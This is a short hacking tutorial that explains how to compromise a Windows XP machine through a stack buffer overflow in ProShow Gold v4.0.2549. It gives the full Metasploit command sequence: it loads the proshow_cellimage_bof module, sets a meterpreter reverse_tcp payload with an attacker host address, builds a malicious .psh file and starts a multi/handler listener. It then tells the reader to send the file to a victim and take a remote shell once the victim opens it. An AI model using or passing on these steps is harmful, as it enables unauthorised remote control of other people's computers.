Hack Windows XP with ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow

This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549. An attacker must send the file to victim and the victim must open the file.

Exploit Targets

ProShow Gold v4.0.2549

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/proshow_cellimage_bof

Msf exploit (proshow_cellimage_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (proshow_cellimage_bof)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (proshow_cellimage_bof)>exploit

After we successfully generate the malicious File, it will stored on your local computer

/root/.msf4/local/msf.psh

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.psh files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
